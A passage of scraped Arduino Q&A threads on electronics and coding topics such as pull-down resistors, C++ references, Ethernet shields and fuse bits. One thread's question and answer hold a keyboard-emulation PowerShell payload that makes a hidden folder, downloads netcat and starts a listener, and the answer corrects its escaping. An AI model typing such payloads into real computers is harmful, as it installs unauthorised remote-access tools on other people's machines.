body: Teensy 3.5, 3.6, 4.0 and 4.1 have a second USB interface which is configured as USB Host. You can use this interface in CDC mode (see @st2000 answer) and connect it to the normal USB device plug of any other Teensy if you need to. But please note that a T3.2 can transmit up to about 3 MBaud over its serial UARTS. So, I don't see any reason to use USB for board to board communication.


message:
Printing multiple double qoutes in print statement

I'm trying to print multiple quotes in a `Keyboard.print()` function but when i try to escape the character with \ at  `$output =\"$HOME\Misc\nc.zip\""` and the string does not get recognized by the ide. Usually when the ide knows it's a string it highlights the text in blue, it does not do that for $output and after $output. How can I print the whole string including all the double quotes within the string?

    Keyboard.print("\"cd $HOME\""; $folder=mkdir \"Misc\""; $folder; $url=\"https://test.org/cc.zip\""; $output =\"$HOME\Misc\nc.zip\""; (New-Object System.Net.WebClient).DownloadFile($url,$output); $shell=NewObject -ComObject shell.application; $zip=$shell.NameSpace(\"$HOME\Misc\nc.zip\") foreach ($item in $zip.items()) { $shell.NameSpace(\"$HOME\Misc\").CopyHere($item)}"):

body:
It seems you used `\""` instead of **only** `\"` in several locations of this string. Also, since the string you want to send already includes the escape `\` character, it must iself be escaped `\\`.

If the command you want to send to keyboard is:

> cd "$HOME"; $folder=mkdir "Misc"; $folder; $folder.Attributes= "Hidden"; $url="https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip"; $output = "$HOME\Misc\nc.zip"; (New-Object System.Net.WebClient).DownloadFile($url,$output); $shell=NewObject -ComObject shell.application; $zip=$shell.NameSpace("$HOME\Misc\nc.zip") foreach ($item in $zip.items()) { $shell.NameSpace("$HOME\Misc").CopyHere($item)} ".\netcat-1.11\nc.exe" -lp 4545 > incoming.txt

Then you should escape it as follows:

    "cd \"$HOME\"; $folder=mkdir \"Misc\"; $folder; $folder.Attributes= \"Hidden\"; $url=\"https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip\"; $output = \"$HOME\\Misc\\nc.zip\"; (New-Object System.Net.WebClient).DownloadFile($url,$output); $shell=NewObject -ComObject shell.application; $zip=$shell.NameSpace(\"$HOME\\Misc\\nc.zip\") foreach ($item in $zip.items()) { $shell.NameSpace(\"$HOME\\Misc\").CopyHere($item)} \".\\netcat-1.11\\nc.exe\" -lp 4545 > incoming.txt"


message:
DigitalRead() floating pin problem

I am having a problem implementing a the digitalRead() function in arduino uno.I want digitalRead to return 0 when nothing is connected and return 1 when it is connected to +5 volt.But seems like digitalRead returns random values when it is not connected to anything.
I have kind of solved the problem by a small piece of code to stabilize the value i'll attach the code here but if any other solution is avalable..Please help.

The function is as follows:-

    bool getValue()

    {

    String k="";

    if(digitalRead(3)==HIGH)

    k="HIGH";

    else

    k="LOW";

    bool f=true;

    for(int i=0;i<1000;i++)

    {
    String z;

      if(digitalRead(3)==HIGH)

      z="HIGH";

      else

      z="LOW";

      if(k!=z)

      {

        f=false;

        break;

      }

    }

    if(f==true)

    return true;

    else

    return false;

    }

body: The solution is called a *pull down resistor* and it's exactly the same as when you are using a button - the button is what connects the pin to +5V. The pull down resistor (usually around 10kΩ) connected to ground is what makes the pin read LOW at other times.


message:
How to add extra USB port to Arduino Nano?

I'm trying to use V-USB library to emulate a keyboard using Arduino Nano but because of precaution, I don't want to use it's built-in USB port.

My idea is to add another USB port so I cant power my device with the new USB port and use free digital pins as input/output of the new USB serial port in V-USB project.

What circuit I should use and how to add extra USB port to Arduino Nano.

body:
[USB][1] is deceptively simple.  The underlying protocol is very complex. So a complete answer to your question requires some USB background.

USB is divided into 2 types.  USB Hosts and USB Devices. We are not concerned about USB Hosts here.  [USB Devices][2] only need to know about their own functions / features.  If they are a serial port device, like the FTDI chip on the Arduino Nano, they only need to "speak" basic USB protocol and the [serial CDC USB protocol][3].  If the USB Device was a keyboard, it only needs to know the basic USB protocol and the [HID USB protocol][4].

In order to offer up a USB port the Arduino Nano uses an [FTDI chip FT232RL][5].  This chip supports a Serial Port USB Device.  It does not appear to support HID USB Devices.  So your decision to use [V-USB][6] is necessary not because of power but because the Arduino Nano's built in USB port supports a protocol other than USB CDC.

> What circuit I should use and how to add extra USB port to Arduino
> Nano.

The circuit suggested is on the [V-USB web page][6] appears to contain the necessary information:

[![enter image description here][7]][7]

Of course you will have to do some research into V-USB software to see which are the appropriate pins to use on your Arduino Nano.

  [1]: https://en.wikipedia.org/wiki/USB
  [2]: https://en.wikipedia.org/wiki/USB#Device_classes
  [3]: https://en.wikipedia.org/wiki/USB_communications_device_class
  [4]: https://en.wikipedia.org/wiki/USB_human_interface_device_class
  [5]: http://www.ftdichip.com/Support/Documents/DataSheets/ICs/DS_FT232R.pdf
  [6]: https://www.obdev.at/products/vusb/index.html
  [7]: https://i.stack.imgur.com/JXAuR.gif


body:
You can use a USB host mini module for the Arduino NANO and the USB Host Library r2.0
[![enter image description here][1]][1]

  [1]: https://i.stack.imgur.com/Gak0B.jpg

You can implement a keyboard with this...


message:
A class within a class - via an Initialiser Lists: NOT able to update a variable

My test are based on the blog of http://arduinoetcetera.blogspot.be/2011/01/classes-within-classes-initialiser.html.

Because I would like to use this idea, I tried with a simple idea, after the instance is created just ***update*** a value.

But for some reason, the code compiles perfectly and there seems to be no error with the ***update*** method, but it **DOES NOT UPDATE** the variable.

But my output on the serial monitor show that the number (volatile int) doesn't update.

    Object of class First has value - Number: 6
    Object of class Second has value - Number: 13
    Object of class Second has value - Double: 26
    Object of class Second has value - Update: [0] - 20  // <--
    - -
    Object of class First has value - Number: 6
    Object of class Second has value - Number: 13        // <--
    Object of class Second has value - Double: 26
    Object of class Second has value - Update: [1] - 70
    - -
    Object of class First has value - Number: 6
    Object of class Second has value - Number: 13

code - MAIN :  First thing(**6**, **13**);
[edited on request of @Mark Smith]

    #include "First.h"
    First thing(6, 13);
    ...
    int newValue;
    ...
    int ledPins[] = {
      20, 70, 45, 68, 543, 321
    }; // an array of pin numbers to which LEDs are attached
    int pinCount = 6; // the number of pins (i.e. the length of the array)
    bool plus=true;
    int index=-1;
    void loop() {
      Serial.print("Object of class First has value - Number: ");
      Serial.println(thing.Number());
      Serial.println();
      Serial.print("Object of class Second has value - Number: ");
      Serial.println(thing.getSecond().Number());
      Serial.print("Object of class Second has value - Double: ");
      Serial.println(thing.getSecond().Double());
      ...
      Serial.print("Object of class Second has value - Update: [");
      if ( plus && index == (pinCount-1) ) {
        plus=!plus;
      }
      if ( !plus && index == 0 ) {
        plus=!plus;
      }
      // change + <--> -
      (plus) ? index++ : index--;
      newValue=ledPins[index];
      Serial.print(index,DEC);
      Serial.print("] - ");
      Serial.println(newValue, DEC);
      thing.getSecond().Update(newValue);
      Serial.println("- - ");

code - FIRST

    #include "First.h"
    ...
    First::First(int firstNumber, int secondNumber) : widget(secondNumber) {
      itsNumber = firstNumber;
    }
    int First::Number() {
      return itsNumber;
    }
    Second First::getSecond() {
      return widget;
    }

code - SECOND : void Second::Update(int **newNumber**)

    #include "Second.h"
    ...
    volatile int itsNumber;
    Second::Second(int newNumber) {
      itsNumber = newNumber;
    }
    void Second::Update(int newNumber) {
      itsNumber = newNumber;
    }
    int Second::Number() {
      return itsNumber;
    }
    int Second::Double() {
      return itsNumber*2;
    }

For the complete code
https://github.com/droopy4u/ARDUINO
[ - https://github.com/droopy4u/ARDUINO/tree/master/ClassWithClasses -][1]

  [1]: https://github.com/droopy4u/ARDUINO/tree/master/ClassWithClasses

body:
Even without the real code, I think the problem is with the function First::Second().

You need to understand what happens in C++ when values are passed as parameters.  The are passed by value by default, this means a _COPY_ of the value is passed into the function, you can modify the parameter all you like but when you return those changes are lost.

There are two exceptions to this, the first is pointers.  When you pass in a pointer you can modify what is pointed to but you still can't modify the pointer, because that is a copy.  If you want to modify the pointer then you need a pointer to a pointer `int** ptr_to_ptr`.

The other exception is a reference.  In this case the function can modify the parent function's variable.  This is more efficient in terms of memory.

So you have:

    int AddOne(int value) {++value; return value};   // 5 == AddOne(5);
    int AddOne (int value) {return value+1};         // 6 == AddOne(5); - doesn't modify the parameter.
    int AddOne(int* pValue) {(*value)+1; return *value;}//6 == AddOne(5); - Pointer
    int AddOne(int& value){++value; return value;}   // 6 == AddOne(5); - Referance
    int AddOne(const int& value){++value; return value;} // Compiler error, modifying const value.

So why it is First::Second() causing the problem?  Well the same rules apply to return values as to parameters and you are returning a copy of the value `widget` so you then modify that copy and then dispose of it.  So this is what you need to fix the problem.

    Second& First::getSecond()
    {
        return widget;
    }

EDIT : Its not clear in the preceding text but you don't need `getSecond()` to return a reference if you are not altering the value of `widget` so `getDouble()` will return the expected value because it is working form a copy of the original and not storing any changes.  However `update()` will not work as expected because the result of `getSecond()` goes out of scope (gets disposed of) once the call is complete.  The changes its made are not save to the original because it is working on a copy.


body:
@MATT,
with trying to get the address of variable via

        const long SERIAL_SPEED=38400;//baud rate of the serial communication

    //global variable
        int a = 15;
        int *b=a;

    void infoVar(){
        Serial.print("\n\n");
        Serial.print(" a -  ");  Serial.println(a, DEC );
        Serial.print("*b -  ");  Serial.println(*b, DEC );  // dereferencing
        Serial.print("\n");

        Serial.print("int  b - ");  Serial.println( (int) b, DEC );   // ???
        // This is the content of the pointer variable b
        Serial.print("int &b - ");  Serial.println( (int) &b, DEC );  // address of memory location where b is stored
        Serial.print("int &a - ");  Serial.println( (int) &a, DEC );  // address of memory location where a is stored
    }

    void setup() {
      // put your setup code here, to run once:
        Serial.begin(SERIAL_SPEED);      // open the serial port at SERIAL_SPEED bps:

        Serial.println("Started : ### reference_pointer ###\n\n");

    // *** :  when uncomment next line : the value b = 123
    //b=123

        *b=a;
        infoVar();

        a=235;
        *b=a;
        infoVar();

        a=1928;
        *b=a;
        infoVar();

        }

    void loop() {
      // put your main code here, to run repeatedly:
    }

OUTPUT

     a -  15
    *b -  15

    int  b – 15
      // don't understand here that it is 15
       //thought that is would be the the address of the variable 'a'
       // it seems that it keeps the first initiated value??? ***
    int &b - 676
    int &a - 256

     a -  235
    *b -  235

    int  b - 15
    int &b - 676
    int &a - 256

     a -  1928
    *b -  1928

    int  b - 15
    int &b - 676
    int &a - 256


message:
How to load page from SD card and still show live data from sensors?

I am just wondering, how can we display page from SD card and still show live data from sensors?

I have web server running on Arduino mega using ethernet shield, in my sketch I am doing client.print to build content of a page being displayed, and [refreshing][1] it display live data.

But I can't think of a way how can I load page from SD card and display data from sensors.

  [1]: http://san.gotdns.ch:8090

body:
Based upon [this W3C example][1] you can have `w3-include-HTML.js` file with the following contents:

    function w3IncludeHTML() {
      var z, i, a, file, xhttp;
      z = document.getElementsByTagName("*");
      for (i = 0; i < z.length; i++) {
        if (z[i].getAttribute("w3-include-html")) {
          a = z[i].cloneNode(false);
          file = z[i].getAttribute("w3-include-html");
          xhttp = new XMLHttpRequest();
          xhttp.onreadystatechange = function() {
            if (this.readyState == 4 && this.status == 200) {
              a.removeAttribute("w3-include-html");
              a.innerHTML = this.responseText;
              z[i].parentNode.replaceChild(a, z[i]);
              w3IncludeHTML();
            }
          }
          xhttp.open("GET", file, true);
          xhttp.send();
          return;
        }
      }

Now you can put this in your `.html` file:

and then you can use something as:

    server.on("/generated_data.html", live_data);

If you want to be able to use `server.on()` you must include `<ESP8266WebServer.h>` but you can serve the content the way you like. You can examine the [`ESP8266WebServer::on()` method source code][2] and adapt it according to your needs or you can just use that method as is.

Everything until now will result with calling the `live_data()` function and inserting it's response into the `div` which has the attribute `w3-include-html="generated_data.html"`.

Now you only need to generate the live data inside the `live_data()` and to send the response:

    void live_data() {
      String data_from_sensor;

      // read here the data from some sensor and store it in data_from_sensor
      String response = "
Live data

The data is: " + data_from_sensor + "some unit
";
      server.send(200, "text/html", response);
    }

And that's it. The live data generated inside `live_data()` will show where was the empty `div` with `w3-include-html` attribute.

Of course, you can have more `div`s with different `w3-include-html` attributes and belonging `server.on()` statements.

There are many ways, this is just an example so you can get an idea from where to start. This code will not update the live data on and on but now that you know the mechanism, you can modify the code to do whatever you like.

  [1]: http://www.w3schools.com/howto/howto_html_include.asp
  [2]: https://github.com/esp8266/Arduino/blob/master/libraries/ESP8266WebServer/src/ESP8266WebServer.cpp


body:
This is a variation on Chupo\_cro’s answer... His suggestion to use
`XMLHttpRequest()` is definitely the way to go. But unlike his answer, I
suggest here to _not_ send HTML-formatted data. Just send the raw data
as [JSON](http://json.org/), which is the simplest data format suitable
for this job. Since your client computer is likely to be orders of
magnitude more powerful than your server, you can offload all the job of
presenting the data to the client JavaScript code. Keep your Arduino
server minimalist and have it only serve:

* static content (HTML, JavaScript and CSS) from the SD card
* _raw_ live data as JSON.

And then let the client handle the presentation of the data in whatever
form you like.

Your static Web page would then contain no data and have instead
placeholders of the form `<span id="XXX">---</span>`. For example:

Rain sensor reading: ---,
    --- rain

    Temperature: --- °C
    / --- °F

    Humidity: ---%

    Dew point: --- °C

Your client JavaScript code starts by collecting references to those
placeholders:

    // HTML elements with replaceable content.
    var elements = null;

    window.onload = function() {
        var getElt = document.getElementById.bind(document);
        elements = {
            rainValue: getElt("rainValue"),
            rainQuality: getElt("rainQuality"),
            tempCelsius: getElt("tempCelsius"),
            tempFahrenheit: getElt("tempFahrenheit"),
            humidity: getElt("humidity"),
            dewPoint: getElt("dewPoint")
        };
        setInterval(requestLiveData, 5000);
    };

Then the page can be updated from live data simply by filling the
`innerHTML` attributes of the elements:

    function dewPoint(temperature, humidity) {
        return ...;
    }

    // Update page from live data.
    function updatePage(data) {
        elements.rainValue.innerHTML = data.rain;
        elements.rainQuality.innerHTML =
            data.rain < 300 ? "heavy" :
            data.rain < 500 ? "moderate" : "no";
        elements.tempCelsius.innerHTML = data.temperature;
        elements.tempFahrenheit.innerHTML = data.temperature * 9 / 5 + 32;
        elements.humidity.innerHTML = data.humidity;
        elements.dewPoint.innerHTML = dewPoint(data.temperature, data.humidity);
    }

Notice that the data processing (Celsius → Fahrenheit conversion, dew
point calculation, converting the rain reading to words) is now done by
the client. The live data is retrieved from the server using Ajax, aka
`XMLHttpRequest()`:

    function requestLiveData() {
        var request = new XMLHttpRequest();
        request.onreadystatechange = function() {
            if (request.readyState != 4) return;
            if (request.status != 200) {
                alert("Ajax request failed: "
                    + "status = " + request.status);
                return;
            }
            var data = JSON.parse(request.responseText);
            updatePage(data);
        };
        request.open("GET", "/live_data");
        request.send(null);
    }

You may have noticed the last line of the `window.onload` function is

    setInterval(requestLiveData, 5000);

which means the `requestLiveData` function above will be automatically
called every 5000 ms.

Now, the only thing your server has to do is answer a request for
`GET /live_data` by sending the raw data as "application/json". It
should look like this:

    {"temperature":15,"humidity":48.3,"rain":500,"soilMoisture":22}


message:
Arduino using Ethernet shield WebClient example code is not working

I'm using an Arduino Uno and Ethernet shield with the WIZnet chip W5100. The WebServer code example is working. DHCP is working, the Ethernet shield is receiving an IP address from the Linksys modem "router" and everything is fine.

But I cannot connect to a web site using the WebClient code. I found out that `client.connect(server, 80);` is returning -1 "Time_OUT" and it is supposed to return 1 according to the Arduino Ethernet library.

I tried connecting to different websites. I tried assigning an IP address manually, not using DHCP. I tried making pin 4 of the SD memory card SPI to output `pinMode(4, OUTPUT); digitalWrite(4, HIGH);` But it doesn't work. I get on my Serial line connection failed or it returns "connected" then "Disconnecting..." immediately after because `client.connect` has returned -1.

The example code I'm using:

    #include <SPI.h>
    #include <Ethernet.h>

    // Enter a MAC address for your controller below.
    // Newer Ethernet shields have a MAC address printed on a sticker on the shield
    byte mac[] = { 0x28, 0xAD, 0xBE, 0xEF, 0xB9, 0xED };
    // if you don't want to use DNS (and reduce your sketch size)
    // use the numeric IP instead of the name for the server:
    //IPAddress server(74,125,232,128);  // numeric IP for Google (no DNS)
    char server[] = "www.google.com";    // name address for Google (using DNS)

    // Set the static IP address to use if the DHCP fails to assign
    IPAddress ip(192, 168, 1, 177);

    // Initialize the Ethernet client library
    // with the IP address and port of the server
    // that you want to connect to (port 80 is default for HTTP):
    EthernetClient client;

    void setup() {
      // Open serial communications and wait for port to open:
      Serial.begin(9600);
      pinMode(4, OUTPUT);
      digitalWrite(4, HIGH);
      while (!Serial) {
        ; // wait for serial port to connect. Needed for native USB port only
      }

      // start the Ethernet connection:
      if (Ethernet.begin(mac) == 0) {
        Serial.println("Failed to configure Ethernet using DHCP");
        // try to congifure using IP address instead of DHCP:
        Ethernet.begin(mac, ip);
      }
      // give the Ethernet shield a second to initialize:

      Serial.println("connecting...");
      delay(2000);
      Serial.println(Ethernet.localIP());

      // if you get a connection, report back via serial:
      if (client.connect(server, 80)) {
        Serial.print(client.connect(server,80));
        Serial.println();
        Serial.println("connected");
        // Make a HTTP request:
        client.println("GET /search?q=arduino HTTP/1.1");
        client.println("Host: www.google.com");
        client.println("Connection: close");
        client.println();
      } else {
        // if you didn't get a connection to the server:
        Serial.println("connection failed");
      }
    }

    void loop() {
      // if there are incoming bytes available
      // from the server, read them and print them:
      if (client.available()) {
        char c = client.read();
        Serial.print(c);
      }

      // if the server's disconnected, stop the client:
      if (!client.connected()) {
        Serial.println();
        Serial.println("disconnecting.");
        client.stop();

        // do nothing forevermore:
        while (true);
      }
    }

This is my output:

[![enter image description here][1]][1]

Using a local server IP address like my router's IP address, the connection works. But the issue is mainly in the WAN. Any help would be appreciated.

  [1]: https://i.stack.imgur.com/fDXGC.png

body:
This doesn't look right:

    if (client.connect(server, 80)) {
        Serial.print(client.connect(server,80));
        ...

If the first call to `client.connect()` succeeds, you call it again immediately, and the error message you're seeing comes from that second call. This really is not surprising — I can't imagine a scenario in which that would actually work.

What you really want is something more like:

    if (result = client.connect(server, 80)) {
        Serial.print(result);
        ...


body:
I resolved my problem:

The problem was in the mac address itself. When i used the mac address given by the example itself the connection didn't fail and `client.connect()` returned 1.

I used this mac address instead of the one in the code above:

    byte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };


message:
How to wire a small quadcopter drone with resistor and breadboard (If possible)?

http://www.instructables.com/id/SpeechVoice-Controlled-Arduino-Drone/?ALLSTEPS

Hi guys!

I am following this project but I do however not have all the items currently at home so I was thinking if there is an optional solution.

I do not have any resistors or a breadboard currently at home so I was wondering if there is an optional solution.

What I have is, arduino uno + arduino mini and hc-05 bluetooth and of course 4 small drone motors. On top of this I have TIP-122 transistors and a l293d motor driver.

Could I somehow make it work with that considering i do not have resistors or a breadboard at home?

I know how to solder of course so if I need to solder wires that is not a problem. I appreciate any help very much!!

body: You need resistors where that article puts them, otherwise you could brownout the whole thing. You may be able to get away without a PCB, at the cost of reduced stability. Find or borrow the three resistors needed for the project, and then I recommend that you order both a large pack of 1% resistors as well as a variety of PCBs when you are able to.


body:
As already pointed out, you won't be able to finish that project without using resistors because your Arduino mini pins at most support 40 mA (as far as I recall - please check the datasheet). Those resistors are there to limit your pin current. (However in that case, 100 ohms is too low, please use 220 ohms for your sake!)

What you can do is:

- Find some scrap electronics at home and remove the resistors
- Let this become an interesting project and do something like this: http://www.instructables.com/id/DIY-Power-Resistor/

Other than that, in my opinion, you can get away with not having a breadboard or PCB. Just make sure that the wires in no case touch each other (this thing will be flying and dropping for sure!) or you'll end up burning one of those chips.

Also, keep in mind that if you short that lipo battery, there is a significant risk of fire/toxic gas hazard. So I would try this outside, away from people.


message:
Send Color value from Processing into Arduino

I know this has been asked before, but I'm new to Arduino and Processing, and I'm trying to take this step by step.

I would like to pass an RGB value from processing, into Arduino via the Serial.Write/Read.

I have my Processing as:

    void draw(){

      //orange colour in RGB values
      color _rgbColor = color(255, 40, 0);

      //convert colour into hex
      String _hexColor = hex(_rgbColor, 6);

      //convert colour into binary
      String _binaryColor = binary(_rgbColor);

      //pass colour to port
      myPort.write(_hexColor);
      delay(500);
    }

I assume I can just pass the HEX value straight across, right?

First problem I get is that I can't debug what my Arduino device is getting (when I run the Processing program, the Serial Monitor wont work. Seems like I can only use one or the other). I can print the myPort.read within my Processing after the delay, and I get:

> -1

So I'm not quite sure what I'm doing wrong there.

On the Arduino side, I'm using Serial.read() to retrieve the Serial data, which I assume will all be broken down into bytes, so I need to then convert it into a HEX formate, right?

----- Update -----

I now know that I need to break down my color variable into a char-message. I'm guessing I can do something like this then, for example: And then on the other side (Arduino), I need to rebuild the message, right?

    if(mousePressed == true){
        //Red
         myPort.write('2');
         myPort.write('5');
         myPort.write('5');
         myPort.write(',');

         //Green
         myPort.write('0');
         myPort.write('3');
         myPort.write('0');
         myPort.write(',');

         //Blue
         myPort.write('0');
         myPort.write('0');
         myPort.write('0');
         myPort.write('\n');
      }

My Arduino script is as follows, is this an okay route to go down?

    String message;
    void loop() {

      int _size = Serial.available();

      if(_size > 0){

        char value = Serial.read();
        message += value;

        //full message received (255,255,255)
        if(message.length() == 11){
          String _red = message.substring(0,3);
          String _green = message.substring(4,7);
          String _blue = message.substring(8,11);
          Serial.println("R:" + _red + " G:" + _green + " B:" + _blue);

          //apply to light system
          setColour(_red.toInt(), _green.toInt(), _blue.toInt());

          //clear buffer
          message = "";
          Serial.flush();
        }
      }
    }

body: Add `print(_hexColor);` to you processing sketch. The value it's sending should appear in the Processing Console (at the bottom)


body:
I know I'm late, but actually got a working solution, when I was working out a solution for this.

Code in Processing assuming variable `myPort` is handled in `setup()`:

<!-- language: lang-java -->

    void draw() {
        int r = 255;
        int g = 123;
        int b = 2;
        myPort.write('S'); // tell the arduino to do something with leds
        myPort.write(r);
        myPort.write(g);
        myPort.write(b);
    }

Code for Arduino loop:

<!-- language: lang-cpp -->

    void loop() {
      int r;
      int g;
      int b;
      if(Serial.available()) {
        if(Serial.read() == 'S') {
          while(!Serial.available()){}
          r = Serial.read();
          while(!Serial.available()){}
          g = Serial.read();
          while(!Serial.available()){}
          b = Serial.read();
        }
        delay(10); // some recovery time, not sure if nessecary

        // do something with rgb values
      }
    }

This works for me with every possible RGB range. It's not the most elegant solution, but by far better then converting between strings/chars and ints with different bit counts on different devices.


message:
I want to change my "serial monitor" command to push button command for IR cloning project

void loop() {
      char data[6];
      int index = 0;

      delay(1000);  //Serial input seems to need some kind of short delay or the data gets screwed up.

      while (Serial.available() > 0) {            //Loop if there data on the serial line
        if (index < 5) {                          //Make sure we don't overflow
          data[index] = Serial.read();            //Load a character into the string
          index++;                                //Increment the index to get the next character
        }
      }

      data[5]='\0';  //Null terminate the string

      if (strcmp(data, "POWER") == 0){                //If the Arduino receives the POWER signal...
        Serial.println("SENDING SIGNAL!");
        for (int i = 0; i < NumIRsignals; i+=2) {         //Loop through all of the IR timings
          pulseIR(IRsignal[i]*10);              //Flash IR LED at 38khz for the right amount of time
          delayMicroseconds(IRsignal[i+1]*10);  //Then turn it off for the right amount of time
        }
      }                                         //Otherwise do nothing!
    }

    // This function allows us to PWM the IR LED at about 38khz for the sensor
    // Borrowed from Adafruit!
    void pulseIR(long microsecs) {
      // we'll count down from the number of microseconds we are told to wait

      cli();  // this turns off any background interrupts

      while (microsecs > 0) {
        // 38 kHz is about 13 microseconds high and 13 microseconds low
       digitalWrite(IRledPin, HIGH);  // this takes about 3 microseconds to happen
       delayMicroseconds(10);         // hang out for 10 microseconds, you can also change this to 9 if its not working
       digitalWrite(IRledPin, LOW);   // this also takes about 3 microseconds
       delayMicroseconds(10);         // hang out for 10 microseconds, you can also change this to 9 if its not working

       // so 26 microseconds altogether
       microsecs -= 26;
      }

      sei();  // this turns them back on

body:
 1. Identify the code which collects the characters from the serial port.  Then remove it.
 2. Also remove the line of code which check to see if the correct character sequence was received.
 3. Replace the above check with code that tests if a button has been press.

Note:

 - Mechanical buttons bounce!
 - And software is fast enough to see this as multiple button presses.

Avoid problems by going [here][1] and learning how to connect buttons to an Arduino and de-bounce buttons in software.

  [1]: https://www.arduino.cc/en/Tutorial/Debounce


message:
LCD Shield and Arduino

I am trying to use a load cell (https://www.sparkfun.com/products/13331?_ga=1.55586472.2060096590.1479826091) and an HX711 chip with an arduino and LCD shield to display weight values on the LCD shield  when weight is added to the load cell. Does anyone know how I can connect all of these together?

Mainly, how do I connect the HX711 to the arduino while the LCD shield is already on the arduino?

Any help is welcomed , thanks.

Here is the LCD shield I am using I am using:

LCD Shield- https://www.dfrobot.com/index.php?route=product/product&product_id=51

Arduino- not sure which type of arduino to use.

body:
Note: While looking at specifications can infer compatibility, there is no substitute for prototyping.  It is always better to try something then ask for suggestions if it does not work as expected.

That said, I would suggest to look at the LCD you specified.  The LCD's physical shape appears to lock you into a legacy Arduino Uno layout.

On the LCD's web page is a list of pins used.

On the [HX711 sparkfun.com web page][1] is a diagram of pins used when using their HX711 software.

Check if there are any conflicts.  Even if there are none, it does not mean there will be no conflicts within the software you will need to run the LCD and the HX711.  You will have to either find someone who has successfully done exactly what you want to do or examine all the software involved your self.  Of course you could simply prototype the project to see if it works.

  [1]: https://learn.sparkfun.com/tutorials/load-cell-amplifier-hx711-breakout-hookup-guide


body:
It is fairly straight forward.

1. Read the data sheet to find out how you can communicate to hx711. There are tons of example code out there. I have a set of them for my own use as well. The device is quite simple to program too.

2. Find a few pins on the Arduino and configure your code, or others code, to use those pins.

3. I corporate that into your existing code.

That's like how you would approach 99.99 percent of the embedded project - read the data sheet and Code to the data sheet.

If you do run into specific issues, ask them here.


message:
Arduino not running code without connection to PC via USB

I have an Arduino UNO and esp8266 connected to it. Both devices has separate power lines. Each connected via USB cable, for Arduino USB used as power line and standard firmware uppload line, for esp8266 only as power suppli line. If I connect all to computer's USB ports, everything working fine. But, if I connect Arduino to separate charger that has USB port, then Arduino not running code. I can see it by Serial interface work, because code using it intensively, and when I'm turning Arduino on the RX and TX lines are down all the time, that I think indicates, that code is not running, and Arduino in boot mode, somehow.

I've made a search through same issues and nothing helped from theirs suggestions. I tried to pull RX line to GND through resistor, to make sure that there are no noise on the line, added capacitors for power supply line, to make exclude pulsations on the line. But nothing helped.

Arduino not running code independently from esp8266. I tried to run Arduino separately, without any other connections, but it not helped. Still not running.

body: Have you made sure that the ground of both the arduino as well as esp8266 are connected together? Also since you are using esp8266 you must have connected it to rx and tx pins. Make sure you remove it while uploading the code and connect it afterwards.


body:
This problem happened to me when I first started dealing with electronics.

Power supplies connected to the AC line usually have an "isolated transformer" inside them. What this does is both to lower the AC voltage down to a more operable AC voltage (which is then rectified to DC voltages) and also protect the user/equipment/(your house) in case of failure of the power supply (AC 230/110 V will seriously damage you!). You see, the transformer's output is "isolated" from the AC line.

Because of this, every power supply connected to the AC line has an "isolated/separate" GND and VCC level. So, if you wanted to power and use two or more PCB's together using separate power supplies, then you need to connect all of their (power supplies) GND's together so that you have a "common ground".

In your case, powering both  "Arduino UNO and esp8266" from the same computer works because the computer is fed from a single power supply and that the computer's GND wires on the USB line are "common" i.e. not isolated.

When you power your Arduino from a separate supply, your Arduino and esp8266 has a different GND level so the RX and TX line between them must be floating. To solve your issue, connect a wire from Arduino GND port (it is next to Analog read pins) to Esp8266 GND pin (somewhere suitable, of course).


body:
I believe this is happening because of electrical interference between wires. If you are running somewhat long wires (100mm or longer), every wire you run acts as an antenna that can either transmit or receive singles to/from other close wires. If you separate your wires or better yet, shield your data wires from each other, your issues should resolve.

Signals out of an Arduino board are very weak and are easily susceptible to interference from your environment such as motors, radio waves, wifi, or even a microwave oven running.

Either shield your data wires, make your wires shorter, or add circuitry that can transmit/receive signals over long distances, even if it's only 100mm. At 3.3volts with very low amps doesn't take much to noise up your data signals.

Hope this helps!


message:
How do I repurpose Arduino's reset button

Is there a way to repurpose the reset button for the code, like an on-board button? I don't need it to reset, but it would be useful to make it run through a list of RGB LED cycles.

body:
Reset button is connected to the reset pin of Atmega328P-PU. So, when you press that button, the reset pin gets a LOW, which resets the chip!

Here is the thing, yes, you may disable the reset pin to use it as general I/O. However, if you disable it, you will not be able to reprogram your Arduino anymore! You'll effectively brick your Arduino...

By the way, yes you do need it to reset. When you program your arduino, the IDE sends a reset command from your PC via USB to reset your Arduino. When Arduino is resetted, bootloader looks for an incoming sketch, which is provided by the IDE and so on....


body:
I concur with everything Maximus has said.

It is possible - you can change the reset pin to be a normal I/O pin.

To do so you will need to program one of the ATmega328P's fuse bits. For that you will need an ISP programmer like the AVRISPmkII or Atmel ICE. You will also need a program such as Atmel Studio or AVRdude.

The reset disable fuse is part of the high byte fuses. First you will need to calculate high fuse. I use [eleccelerator Fusecalc][1] for this

Based on my boards.txt file, the default for the high fuse on the Arduino Uno is DE. Adding the reset disable fuse makes it 5E.

Program the fuse using Atmel Studio or AVRdude using your ISP programmer.

[Complete Fusecalc settings][2]

  [1]: http://eleccelerator.com/fusecalc/fusecalc.php?chip=atmega328p
  [2]: http://eleccelerator.com/fusecalc/fusecalc.php?chip=atmega328p&LOW=FF&HIGH=5E&EXTENDED=FD&LOCKBIT=FF


body:
As noted in other answers, if you re-purpose the reset pin, PC6, by programming the RSTDISBL fuse, then some of the usual methods of loading a program into flash memory are made unavailable.  Specifically, the usual serial-port programming using Arduino's Optiboot depends on the chip resetting upon demand.  So does ISP programming, as done for example [using a USBasp](http://www.fischl.de/usbasp/) or similar device.

However, [parallel programming remains available](http://atmel.force.com/support/articles/en_US/FAQ/RSTDISBL-fuse).  This requires an [STK500](http://www.atmel.com/tools/STK500.aspx) or similar, or can be simulated [using another Arduino](https://mightyohm.com/blog/2008/09/i-programmed-the-rstdisbl-fuse/).

Here are a couple of references from Atmel's doc8271 datasheet for ATmega48A/PA/88A/PA/168A/PA/328/P:
>**§14.3.2 Alternate Functions of Port C**
“When the RSTDISBL Fuse is programmed, this pin [PC6] functions as a normal I/O pin, and the part will have to rely on Power-on Reset and Brown-out Reset as its reset sources. ...”

>**§28.6 Parallel Programming Parameters, Pin Mapping, and Commands**
(Describes Parallel Programming wiring and protocol)

As it can be inconvenient having to hook up a parallel programmer to load new programs, instead of programming the RSTDISBL fuse you could modify the hardware.  You would cut the trace from the reset switch close to the switch (for example, lightly touch the trace with a fast-spinning 1-mm drill bit, using a small Dremel or drillpress), then run a fine jumper wire from the switch or its trace to an input pin.

